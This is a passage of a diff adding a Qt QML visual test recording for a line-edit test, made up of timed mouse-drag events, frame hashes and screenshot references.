+ x: 28; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 27; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8672
+ hash: "74c1edc228a7c4ba1c0adab9ed7dd086"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 26; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8688
+ hash: "74c1edc228a7c4ba1c0adab9ed7dd086"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 25; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 24; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8704
+ hash: "74c1edc228a7c4ba1c0adab9ed7dd086"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 23; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 22; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8720
+ hash: "74c1edc228a7c4ba1c0adab9ed7dd086"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 20; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 19; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8736
+ hash: "11e31d23d38f163c2c28ca042af7f9f6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 18; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8752
+ hash: "11e31d23d38f163c2c28ca042af7f9f6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 16; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 15; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8768
+ hash: "11e31d23d38f163c2c28ca042af7f9f6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 14; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 13; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8784
+ hash: "11e31d23d38f163c2c28ca042af7f9f6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 12; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 11; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8800
+ hash: "045f891731548aae37090e0cefb62170"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 10; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 8; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8816
+ hash: "045f891731548aae37090e0cefb62170"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 6; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 5; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8832
+ hash: "3b6f55bc49e7e326e40b0f3faae71a8b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 3; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 2; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8848
+ hash: "abc04cd8ca8759f981f8e2c3b30a33ac"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 0; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -1; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8864
+ hash: "f96cc6aa0a38639146d8d691d699946b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -2; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -3; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8880
+ hash: "483743419cee348e8f6e24fd1e900ae6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -5; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -6; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8896
+ hash: "50292f48ceeaee5f55795aea736631d0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -7; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -9; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8912
+ hash: "9739b19d1496baabad1a01cf35c90374"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -10; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -11; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8928
+ hash: "bcf1719dc1ec19d3cca83e41ffd4ba0d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -12; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -13; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8944
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -14; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -15; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8960
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Frame {
+ msec: 8976
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -16; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -17; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8992
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -18; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9008
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Frame {
+ msec: 9024
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Frame {
+ msec: 9040
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Frame {
+ msec: 9056
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Frame {
+ msec: 9072
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Frame {
+ msec: 9088
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Frame {
+ msec: 9104
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Frame {
+ msec: 9120
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Frame {
+ msec: 9136
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Frame {
+ msec: 9152
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Frame {
+ msec: 9168
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Frame {
+ msec: 9184
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Frame {
+ msec: 9200
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -17; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9216
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -16; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9232
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -14; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -13; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9248
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -11; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -10; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9264
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -8; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -7; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9280
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -6; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -5; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9296
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -3; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -1; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9312
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 1; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 3; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9328
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 4; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 6; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9344
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 7; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 8; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9360
+ hash: "192a6cf285d42c7a2996bf0342e69c97"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 10; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 11; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9376
+ hash: "b79a6b6b2a670212a0f4310323352862"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 12; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 14; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9392
+ hash: "b79a6b6b2a670212a0f4310323352862"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 15; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9408
+ hash: "b79a6b6b2a670212a0f4310323352862"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 21; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 24; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9424
+ hash: "82ad8cef2dc81cf061785c211f1b2233"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 27; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 30; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9440
+ hash: "dc5c2e4ac2c51ac7b84a527a77313ff5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 33; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 35; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9456
+ hash: "dc5c2e4ac2c51ac7b84a527a77313ff5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 38; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 39; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9472
+ hash: "dceeee37f46351f54a6dbf9e1d304017"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9488
+ hash: "dceeee37f46351f54a6dbf9e1d304017"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9504
+ hash: "b5b370f86804d875363c8aa9fa53c0fe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9520
+ hash: "b5b370f86804d875363c8aa9fa53c0fe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9536
+ hash: "b5b370f86804d875363c8aa9fa53c0fe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 56; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 58; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9552
+ hash: "8ae0e57709d94c27ecf34f9e76623ba8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 61; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9568
+ hash: "8ae0e57709d94c27ecf34f9e76623ba8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 67; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9584
+ hash: "a29b5440525c9fbed90096f287396c91"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 73; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 74; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9600
+ hash: "d1091d48e0875fec9372c382c6961562"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 76; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9616
+ image: "usingLineEdit.10.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 77; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 78; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9632
+ hash: "d1091d48e0875fec9372c382c6961562"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 79; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 80; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9648
+ hash: "d1091d48e0875fec9372c382c6961562"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 81; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 84; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9664
+ hash: "e1ac646b512dec95946fb52811c269da"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 88; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9680
+ hash: "29dfbe2f8ecee4ff5ecdf358a94f35f8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 89; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 91; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9696
+ hash: "2ce02f81e21d4f9a3fd8d78fc8182898"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 92; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 94; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9712
+ hash: "09e41ca9d2286e99cdecb446a33cbf99"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 95; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 96; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9728
+ hash: "6d780f15bc7597420fc10b1a2f1c7f7f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 98; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 100; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9744
+ hash: "afb956a94411eba22a0257faa5cbc57f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 102; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 104; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9760
+ hash: "8739d2d2f9d96f0bce61ce95bf1e6062"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 105; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 108; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9776
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 110; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9792
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9808
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 112; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9824
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 113; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9840
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 114; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9856
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 9872
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 115; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9888
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 116; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9904
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 117; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9920
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 118; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9936
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 9952
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 119; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9968
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 120; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9984
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 121; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10000
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10016
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10032
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10048
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10064
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10080
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10096
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10112
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10128
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10144
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10160
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10176
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10192
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10208
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10224
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10240
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 122; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10256
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10272
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10288
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10304
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10320
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10336
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10352
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10368
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10384
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10400
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10416
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10432
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10448
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10464
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10480
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10496
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10512
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10528
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10544
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10560
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10576
+ image: "usingLineEdit.11.png"
+ }
+ Frame {
+ msec: 10592
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10608
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10624
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10640
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10656
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10672
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10688
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10704
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10720
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10736
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10752
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10768
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10784
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10800
